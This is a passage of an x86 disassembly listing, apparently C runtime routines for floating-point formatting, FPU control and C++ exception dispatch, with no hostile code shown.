arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4215E1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB278, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB278, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43C788
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43C860
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43C78C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427880
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427880
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43C888
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43C888
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43C894
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427890
fstp [ebp+var_8]
fld dbl_427888
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427718
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2680528h
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26A0000h
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43C504, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43C508
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43C508
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43C8B0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427880
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB310, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB30C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43C508
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB310, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB310, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB314
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB30C
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43C508
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB310, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB30C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB314, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB30C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB314, ecx
setl cl
mov byte_4DB318, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB314, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB310, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB310, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB310, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB310, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB31C
test esi, esi
jz loc_421F28
mov eax, dword_4DB320
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
